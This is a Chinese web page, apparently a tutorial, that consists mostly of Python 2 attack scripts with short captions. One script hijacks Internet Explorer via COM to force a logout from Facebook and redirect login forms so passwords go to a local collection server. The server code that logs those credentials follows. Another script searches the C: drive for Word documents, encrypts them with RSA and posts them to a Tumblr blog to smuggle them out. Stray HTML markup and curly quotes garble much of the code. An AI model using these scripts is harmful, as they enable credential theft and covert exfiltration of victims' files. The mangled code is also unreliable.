浏览器的中间人攻击
基于浏览器的中间人攻击
#coding=utf-8 import win32com.client import time import urlparse import urllibdata_receiver
= “http://localhost:8080/“target_sites
= {}
target_sites[“www.facebook.com“] = {
“logout_url“ : None,
“logout_form“ : “logout_form“,
“login_form_index“ : 0,
“owned“ : False
} #IE浏览器类的ID号
clsid = ‘{9BA05972-F6A8-11CF-A442-00A0C90A8F39}‘windows
= win32com.client.Dispatch(clsid) while True:
for browser in windows:
url = urlparse.urlparse(browser.LocationUrl)
if url.hostname in target_sites:
if target_sites[url.hostname][“owned“]:
continue
#如果有一个URL,我们可以重定向
if target_sites[url.hostname][“logout_url“]:
browser.Navigate(target_sites[url.hostname][“logout_url“])
wait_for_browser(browser)
else:
#检索文件中的所有元素
full_doc = browser.Document.all
#
for i in full_doc:
try:
#找到退出登录的表单并提交
if i.id == target_sites[url.hostname][“logout_url“]:
i.submit()
wait_for_browser(browser)
except:
pass<span style="color: #008000;">#</span><span style="color: #008000;">现在来修改登录表单</span> <span style="color: #0000ff;">try</span><span style="color: #000000;">: login_index </span>= target_sites[url.hostname][<span style="color: #800000;">"</span><span style="color: #800000;">login_form_index</span><span style="color: #800000;">"</span><span style="color: #000000;">] login_page </span>=<span style="color: #000000;"> urllib.quote(browser.LocationUrl) browser.Document.forms[login_index].action </span>= <span style="color: #800000;">"</span><span style="color: #800000;">%s%s</span><span style="color: #800000;">"</span>%<span style="color: #000000;">(data_receiver,login_page) target_sites[url.hostname][</span><span style="color: #800000;">"</span><span style="color: #800000;">owned</span><span style="color: #800000;">"</span>] =<span style="color: #000000;"> True </span><span style="color: #0000ff;">except</span><span style="color: #000000;">: </span><span style="color: #0000ff;">pass</span><span style="color: #000000;"> time.sleep(</span>5<span style="color: #000000;">)
def wait_for_browser(browser):
#等待浏览器加载完一个页面
while browser.ReadyState != 4 and browser.ReadyState != “complete“:
time.sleep(0.1)</span><span style="color: #0000ff;">return</span></pre>
创建接收服务器
import SimpleHTTPServer import SocketServer import urllib class CredRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
“””docstring for CredRequestHandler“””
def do_POST(self):
content_length = int(self.headers[‘Content-Length‘])
creds = self.rfile.read(content_length).decode(‘utf-8‘)
print creds
site = self.path[1:]
self.send_response(301)
self.send_headers(‘Location‘,urllib.unquote(site))
self.end_headers()server
= SocketServer.TCPServer((‘0.0.0.0‘,8080),CredRequestHandler)
server.serve_forever()
利用IE的COM组件自动化技术窃取数据
keygen.py:
#!/usr/bin/python from Crypto.PublicKey import RSAnew_key
= RSA.generate(2048,e=65537)
public_key = new_key.publickey().exportKey(“PEM“)
private_key = new_key.exportKey(“PEM“) print public_key
print private_key
decrypto.py:
#coding=utf-8 import zlib import base64 from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEPprivate_key
= “输入产生的公钥“rsakey
= RSA.importKey(private_key)
rsakey = PKCS1_OAEP.new(rsakey)chunk_size
= 256
offset = 0
decrypted = “”
encrypted = base64.b64decode(encrypted) while offset < len(encrypted):
decrypted += rsakey.decrypted(encrypted[offset:offset+chunk_size])
offset += chunk_size #解压负载
plaintext = zlib.decompress(decrypted) print plaintext
这段代码用于将赖在tumblr的编码文件进行base64解码,从而形成原始的明文字符串,最后进行负载解压。
ie_exfil.py:
#coding=utf-8 import win32com.client import os import fnmatch import time import random import zlib from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEPdoc_type
= “.doc“
username = “lyshark“
password = “123123123“public_key
= “公钥“def wait_for_browser(browser):
#等待浏览器加载完一个页面
while browser.ReadyState != 4 and browser.ReadyState != “complete“:
time.sleep(0.1)</span><span style="color: #0000ff;">return</span>
def encrypt_string(plaintext):
chunk_size = 256
print “Compressing: %d bytes“%len(plaintext)
plaintext = zlib.compress(plaintext)</span><span style="color: #0000ff;">print</span> <span style="color: #800000;">"</span><span style="color: #800000;">Encrypting %d bytes</span><span style="color: #800000;">"</span>%<span style="color: #000000;">len(plaintext) rsakey </span>=<span style="color: #000000;"> RSA.importKey(public_key) rsakey </span>=<span style="color: #000000;"> PKCS1_OAEP.new(rsakey) encrypted </span>= <span style="color: #800000;">""</span><span style="color: #000000;"> offset </span>=<span style="color: #000000;"> 0 </span><span style="color: #0000ff;">while</span> offset <<span style="color: #000000;"> len(plaintext): chunk </span>= plaintext[offset:offset+<span style="color: #000000;">chunk_size] </span><span style="color: #0000ff;">if</span> len(chunk) % chunk_size !=<span style="color: #000000;"> 0: chunk </span>+= <span style="color: #800000;">"</span> <span style="color: #800000;">"</span> * (chunk_size -<span style="color: #000000;"> len(chunk)) encrypted </span>+=<span style="color: #000000;"> rsakey.encrypt(chunk) offset </span>+=<span style="color: #000000;"> chunk_size encrypted </span>= encrypted.encode(<span style="color: #800000;">"</span><span style="color: #800000;">base64</span><span style="color: #800000;">"</span><span style="color: #000000;">) </span><span style="color: #0000ff;">print</span> <span style="color: #800000;">"</span><span style="color: #800000;">Base64 encoded crypto: %d</span><span style="color: #800000;">"</span>%<span style="color: #000000;">len(encrypted) </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> encrypted
def encrypt_post(filename):
#打开并读取文件
fd = open(filename,“rb“)
contents = fd.read()
fd.close()encrypted_title </span>=<span style="color: #000000;"> encrypt_string(filename) encrypted_body </span>=<span style="color: #000000;"> encrypt_string(contents) </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> encrypted_title,encrypted_body
def random_sleep():
time.sleep(random.randint(5,10))
returndef login_to_tumblr(ie):
#解析文档中的所有元素
full_doc = ie.Document.all</span><span style="color: #008000;">#</span><span style="color: #008000;">迭代每个元素来查找登录表单</span> <span style="color: #0000ff;">for</span> i <span style="color: #0000ff;">in</span><span style="color: #000000;"> full_doc: </span><span style="color: #0000ff;">if</span> i.id == <span style="color: #800000;">"</span><span style="color: #800000;">signup_email</span><span style="color: #800000;">"</span><span style="color: #000000;">: i.setAttribute(</span><span style="color: #800000;">"</span><span style="color: #800000;">value</span><span style="color: #800000;">"</span><span style="color: #000000;">,username) </span><span style="color: #0000ff;">elif</span> i.id == <span style="color: #800000;">"</span><span style="color: #800000;">signup_password</span><span style="color: #800000;">"</span><span style="color: #000000;">: i.setAttribute(</span><span style="color: #800000;">"</span><span style="color: #800000;">value</span><span style="color: #800000;">"</span><span style="color: #000000;">,password) random_sleep() </span><span style="color: #0000ff;">try</span><span style="color: #000000;">: </span><span style="color: #008000;">#</span><span style="color: #008000;">你会遇到不同的登陆主页</span> <span style="color: #0000ff;">if</span> ie.Document.forms[0].id == <span style="color: #800000;">"</span><span style="color: #800000;">signup_form</span><span style="color: #800000;">"</span><span style="color: #000000;">: ie.Document.forms[0].submit() </span><span style="color: #0000ff;">else</span><span style="color: #000000;">: ie.Document.forms[</span>1<span style="color: #000000;">].submit() </span><span style="color: #0000ff;">except</span><span style="color: #000000;"> IndexError, e: </span><span style="color: #0000ff;">pass</span><span style="color: #000000;"> random_sleep() </span><span style="color: #008000;">#</span><span style="color: #008000;">登陆表单是登录页面中的第二个表单</span>
wait_for_browser(ie)
</span><span style="color: #0000ff;">return</span>
def post_to_tumblr(ie,title,post):
full_doc = ie.Document.all</span><span style="color: #0000ff;">for</span> i <span style="color: #0000ff;">in</span><span style="color: #000000;"> full_doc: </span><span style="color: #0000ff;">if</span> i.id == <span style="color: #800000;">"</span><span style="color: #800000;">post_one</span><span style="color: #800000;">"</span><span style="color: #000000;">: i.setAttribute(</span><span style="color: #800000;">"</span><span style="color: #800000;">value</span><span style="color: #800000;">"</span><span style="color: #000000;">,title) title_box </span>=<span style="color: #000000;"> i i.focus() </span><span style="color: #0000ff;">elif</span> i.id == <span style="color: #800000;">"</span><span style="color: #800000;">post_two</span><span style="color: #800000;">"</span><span style="color: #000000;">: i.setAttribute(</span><span style="color: #800000;">"</span><span style="color: #800000;">innerHTML</span><span style="color: #800000;">"</span><span style="color: #000000;">,post) </span><span style="color: #0000ff;">print</span> <span style="color: #800000;">"</span><span style="color: #800000;">Set text area</span><span style="color: #800000;">"</span><span style="color: #000000;"> i.focus() </span><span style="color: #0000ff;">elif</span> i.id == <span style="color: #800000;">"</span><span style="color: #800000;">create_post</span><span style="color: #800000;">"</span><span style="color: #000000;">: </span><span style="color: #0000ff;">print</span> <span style="color: #800000;">"</span><span style="color: #800000;">Found post button</span><span style="color: #800000;">"</span><span style="color: #000000;"> post_form </span>=<span style="color: #000000;"> i i.focus() </span><span style="color: #008000;">#</span><span style="color: #008000;">将浏览器的焦点从输入主体内容的窗口上移开</span>
random_sleep()
title_box.focus()
random_sleep()</span><span style="color: #008000;">#</span><span style="color: #008000;">提交表单</span>
post_form.children[0].click()
wait_for_browser(ie)random_sleep() </span><span style="color: #0000ff;">return</span>
def exfiltrate(document_path):
ie = win32com.client.Dispatch(“InternetExplorer.Application“)
ie.Visible = 1<span style="color: #008000;">#</span><span style="color: #008000;">访问tumblr站点并登录</span> ie.Navigate(<span style="color: #800000;">"</span><span style="color: #800000;">https://www.tumblr.com/login</span><span style="color: #800000;">"</span><span style="color: #000000;">) wait_for_browser(ie) </span><span style="color: #0000ff;">print</span> <span style="color: #800000;">"</span><span style="color: #800000;">Logging in...</span><span style="color: #800000;">"</span><span style="color: #000000;"> login_to_tumblr(ie) </span><span style="color: #0000ff;">print</span> <span style="color: #800000;">"</span><span style="color: #800000;">Logged in...navigating</span><span style="color: #800000;">"</span><span style="color: #000000;"> ie.Navigate(</span><span style="color: #800000;">"</span><span style="color: #800000;">https://www.tumblr.com/new/text</span><span style="color: #800000;">"</span><span style="color: #000000;">) wait_for_browser(ie) </span><span style="color: #008000;">#</span><span style="color: #008000;">加密文件</span> title,body =<span style="color: #000000;"> encrypt_post(document_path) </span><span style="color: #0000ff;">print</span> <span style="color: #800000;">"</span><span style="color: #800000;">Creating new post...</span><span style="color: #800000;">"</span><span style="color: #000000;"> post_to_tumblr(ie,title,body) </span><span style="color: #0000ff;">print</span> <span style="color: #800000;">"</span><span style="color: #800000;">Posted!</span><span style="color: #800000;">"</span> <span style="color: #008000;">#</span><span style="color: #008000;">销毁IE实例</span>
ie.Quit()
ie = None</span><span style="color: #0000ff;">return</span>
#用户文档检索的循环
#注意:以下这段代码的第一行没有“tab”缩进
for parent,directories,filenames in os.walk(“C:\“):
for filename in fnmatch.filter(filenames,“*%s“%doc_type):
document_path = os.path.join(parent,filename)
print “Found: %s“%document_path
exfiltrate(document_path)
raw_input(“Continue?“)
代码用于捕获本地文件系统中的Word文档,并利用公钥对其进行加密,然后自动启动进程将加密的文档提交到一个位于tumblr.com站点的博客上